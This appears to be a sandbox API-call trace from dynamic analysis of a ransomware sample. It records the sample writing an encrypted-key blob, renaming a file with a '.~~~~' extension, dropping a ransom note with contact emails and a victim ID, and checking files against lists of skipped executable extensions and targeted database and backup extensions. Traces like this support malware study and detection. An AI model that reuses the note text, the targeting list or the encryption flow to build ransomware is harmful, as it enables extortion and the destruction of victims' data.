	[0083.629] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20361906511) returned 1
	[0083.629] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9bae8590, dwHighDateTime=0x1d60e1e)) 
	[0083.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0083.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0083.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0083.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2330
	[0083.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0083.629] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2330 | out: hHeap=0x300000) returned 1
	[0083.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0083.629] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0083.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aa5b0
	[0083.629] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0083.629] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.629] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa5b0 | out: hHeap=0x300000) returned 1
	[0083.629] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0083.630] GetLastError () returned 0x0
	[0083.630] GetLastError () returned 0x0
	[0083.630] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0083.630] GetLastError () returned 0x0
	[0083.630] GetLastError () returned 0x0
	[0083.632] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffff83a3, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0083.632] WriteFile (in: hFile=0x124, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x7c5d, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x26dfec0*=0x7c5d, lpOverlapped=0x0) returned 1
	[0083.633] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0083.633] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.633] WriteFile (in: hFile=0x124, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0083.633] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0083.633] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0083.633] CloseHandle (hObject=0x124) returned 1
	[0083.633] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6698
	[0083.633] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png.~~~~")) returned 1
	[0083.634] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6698 | out: hHeap=0x300000) returned 1
	[0083.634] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0083.634] GetLastError () returned 0x0
	[0083.634] RtlWakeConditionVariable () returned 0x365f70
	[0083.634] GetCurrentThreadId () returned 0x9cc
	[0083.634] GetCurrentThreadId () returned 0x9cc
	[0083.634] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5800
	[0083.634] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f68c0 | out: hHeap=0x300000) returned 1
	[0083.634] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2368 | out: hHeap=0x300000) returned 1
	[0083.634] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f68c0
	[0083.634] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0083.634] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0083.634] WriteFile (in: hFile=0x124, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x26dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x26dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0083.635] CloseHandle (hObject=0x124) returned 1
	[0083.636] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f68c0 | out: hHeap=0x300000) returned 1
	[0083.636] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5800 | out: hHeap=0x300000) returned 1
	[0083.636] RtlWakeConditionVariable () returned 0x365f70
	[0083.636] GetCurrentThreadId () returned 0x9cc
	[0083.636] GetCurrentThreadId () returned 0x9cc
	[0083.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aa5b0
	[0083.636] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab618 | out: hHeap=0x300000) returned 1
	[0083.636] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3acba0 | out: hHeap=0x300000) returned 1
	[0083.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ab618
	[0083.636] lstrlenW (lpString=".scr") returned 4
	[0083.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".scr") returned 0x0
	[0083.636] lstrlenW (lpString=".cmd") returned 4
	[0083.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".cmd") returned 0x0
	[0083.636] lstrlenW (lpString=".dll") returned 4
	[0083.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".dll") returned 0x0
	[0083.636] lstrlenW (lpString=".bat") returned 4
	[0083.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".bat") returned 0x0
	[0083.636] lstrlenW (lpString=".cpl") returned 4
	[0083.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".cpl") returned 0x0
	[0083.636] lstrlenW (lpString=".sys") returned 4
	[0083.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".sys") returned 0x0
	[0083.636] lstrlenW (lpString=".msc") returned 4
	[0083.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".msc") returned 0x0
	[0083.636] lstrlenW (lpString=".com") returned 4
	[0083.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".com") returned 0x0
	[0083.636] lstrlenW (lpString=".lnk") returned 4
	[0083.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".lnk") returned 0x0
	[0083.636] lstrlenW (lpString=".msp") returned 4
	[0083.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".msp") returned 0x0
	[0083.637] lstrlenW (lpString=".pif") returned 4
	[0083.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".pif") returned 0x0
	[0083.637] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0083.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch="msp\r\n.pif") returned 0x0
	[0083.637] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0083.637] lstrlenW (lpString=".sqb") returned 4
	[0083.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".sqb") returned 0x0
	[0083.637] lstrlenW (lpString=".ost") returned 4
	[0083.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".ost") returned 0x0
	[0083.637] lstrlenW (lpString=".txt") returned 4
	[0083.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".txt") returned 0x0
	[0083.637] lstrlenW (lpString=".mdt") returned 4
	[0083.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".mdt") returned 0x0
	[0083.637] lstrlenW (lpString=".BDB") returned 4
	[0083.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".BDB") returned 0x0
	[0083.637] lstrlenW (lpString=".eql") returned 4
	[0083.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".eql") returned 0x0
	[0083.637] lstrlenW (lpString=".DBF") returned 4
	[0083.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".DBF") returned 0x0
	[0083.637] lstrlenW (lpString=".EQL") returned 4
	[0083.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".EQL") returned 0x0
	[0083.637] lstrlenW (lpString=".FDB") returned 4
	[0083.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".FDB") returned 0x0
	[0083.637] lstrlenW (lpString=".EDB") returned 4
	[0083.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".EDB") returned 0x0
	[0083.638] lstrlenW (lpString=".DACPAC") returned 7
	[0083.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".DACPAC") returned 0x0
	[0083.638] lstrlenW (lpString=".VHD") returned 4
	[0083.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".VHD") returned 0x0
	[0083.638] lstrlenW (lpString=".DBV") returned 4
	[0083.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".DBV") returned 0x0
	[0083.638] lstrlenW (lpString=".dacpac") returned 7
	[0083.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".dacpac") returned 0x0
	[0083.638] lstrlenW (lpString=".sdf") returned 4
	[0083.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".sdf") returned 0x0
	[0083.638] lstrlenW (lpString=".accdb") returned 6
	[0083.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".accdb") returned 0x0
	[0083.638] lstrlenW (lpString=".DBX") returned 4
	[0083.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".DBX") returned 0x0
	[0083.638] lstrlenW (lpString=".MDT") returned 4
	[0083.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".MDT") returned 0x0
	[0083.638] lstrlenW (lpString=".SQB") returned 4
	[0083.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".SQB") returned 0x0
	[0083.638] lstrlenW (lpString=".vhd") returned 4
	[0083.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".vhd") returned 0x0
	[0083.638] lstrlenW (lpString=".bac") returned 4
	[0083.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".bac") returned 0x0
	[0083.638] lstrlenW (lpString=".mdf") returned 4
	[0083.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".mdf") returned 0x0
	[0083.638] lstrlenW (lpString=".BAK") returned 4
	[0083.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".BAK") returned 0x0
	[0083.638] lstrlenW (lpString=".BAC") returned 4
	[0083.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".BAC") returned 0x0
	[0083.638] lstrlenW (lpString=".dbs") returned 4
	[0083.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".dbs") returned 0x0
	[0083.638] lstrlenW (lpString=".vhdx") returned 5
	[0083.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".vhdx") returned 0x0
	[0083.639] lstrlenW (lpString=".NDF") returned 4
	[0083.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".NDF") returned 0x0
	[0083.639] lstrlenW (lpString=".dat") returned 4
	[0083.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".dat") returned 0x0
	[0083.639] lstrlenW (lpString=".DBS") returned 4
	[0083.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".DBS") returned 0x0
	[0083.639] lstrlenW (lpString=".CKP") returned 4
	[0083.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".CKP") returned 0x0
	[0083.639] lstrlenW (lpString=".edb") returned 4
	[0083.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".edb") returned 0x0
	[0083.639] lstrlenW (lpString=".PST") returned 4
	[0083.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".PST") returned 0x0
	[0083.639] lstrlenW (lpString=".dbf") returned 4
	[0083.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".dbf") returned 0x0
	[0083.639] lstrlenW (lpString=".SQL") returned 4
	[0083.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".SQL") returned 0x0
	[0083.639] lstrlenW (lpString=".pst") returned 4
	[0083.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".pst") returned 0x0
	[0083.639] lstrlenW (lpString=".dbv") returned 4
	[0083.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".dbv") returned 0x0
	[0083.639] lstrlenW (lpString=".SDF") returned 4
	[0083.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".SDF") returned 0x0
	[0083.639] lstrlenW (lpString=".dtxs") returned 5
	[0083.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".dtxs") returned 0x0
	[0083.639] lstrlenW (lpString=".db3") returned 4
	[0083.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".db3") returned 0x0
	[0083.639] lstrlenW (lpString=".OST") returned 4
	[0083.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".OST") returned 0x0
	[0083.639] lstrlenW (lpString=".dbx") returned 4
	[0083.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".dbx") returned 0x0
	[0083.639] lstrlenW (lpString=".DB3") returned 4
	[0083.639] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".DB3") returned 0x0
	[0083.640] lstrlenW (lpString=".DAT") returned 4
	[0083.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".DAT") returned 0x0
	[0083.640] lstrlenW (lpString=".VHDX") returned 5
	[0083.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".VHDX") returned 0x0
	[0083.640] lstrlenW (lpString=".ndf") returned 4
	[0083.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".ndf") returned 0x0
	[0083.640] lstrlenW (lpString=".DB") returned 3
	[0083.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".DB") returned 0x0
	[0083.640] lstrlenW (lpString=".sql") returned 4
	[0083.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".sql") returned 0x0
	[0083.640] lstrlenW (lpString=".MYD") returned 4
	[0083.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".MYD") returned 0x0
	[0083.640] lstrlenW (lpString=".DBT") returned 4
	[0083.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".DBT") returned 0x0
	[0083.640] lstrlenW (lpString=".ACCDB") returned 6
	[0083.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".ACCDB") returned 0x0
	[0083.640] lstrlenW (lpString=".fdb") returned 4
	[0083.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".fdb") returned 0x0
	[0083.640] lstrlenW (lpString=".bak") returned 4
	[0083.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".bak") returned 0x0
	[0083.640] lstrlenW (lpString=".myd") returned 4
	[0083.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".myd") returned 0x0
	[0083.640] lstrlenW (lpString=".DTXS") returned 5
	[0083.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".DTXS") returned 0x0
	[0083.640] lstrlenW (lpString=".ckp") returned 4
	[0083.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".ckp") returned 0x0
	[0083.640] lstrlenW (lpString=".dbt") returned 4
	[0083.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".dbt") returned 0x0
	[0083.640] lstrlenW (lpString=".db") returned 3
	[0083.640] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".db") returned 0x0
	[0083.641] lstrlenW (lpString=".TXT") returned 4
	[0083.641] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".TXT") returned 0x0
	[0083.641] lstrlenW (lpString=".MDF") returned 4
	[0083.641] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".MDF") returned 0x0
	[0083.641] lstrlenW (lpString=".bdb") returned 4
	[0083.641] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".bdb") returned 0x0
	[0083.641] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0083.641] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0083.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0083.641] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0083.641] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0083.642] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0083.642] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0083.642] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0083.642] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0083.642] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
	[0083.642] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20363198901) returned 1
	[0083.642] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9bb0e6f0, dwHighDateTime=0x1d60e1e)) 
	[0083.642] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0083.642] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0083.642] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0083.642] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3acba0
	[0083.642] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0083.642] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3acba0 | out: hHeap=0x300000) returned 1
	[0083.642] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0083.642] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0083.642] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aad90
	[0083.642] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0083.642] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.642] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aad90 | out: hHeap=0x300000) returned 1
	[0083.642] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0083.643] GetLastError () returned 0x0
	[0083.643] GetLastError () returned 0x0
	[0083.643] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0083.643] GetLastError () returned 0x0
	[0083.643] GetLastError () returned 0x0
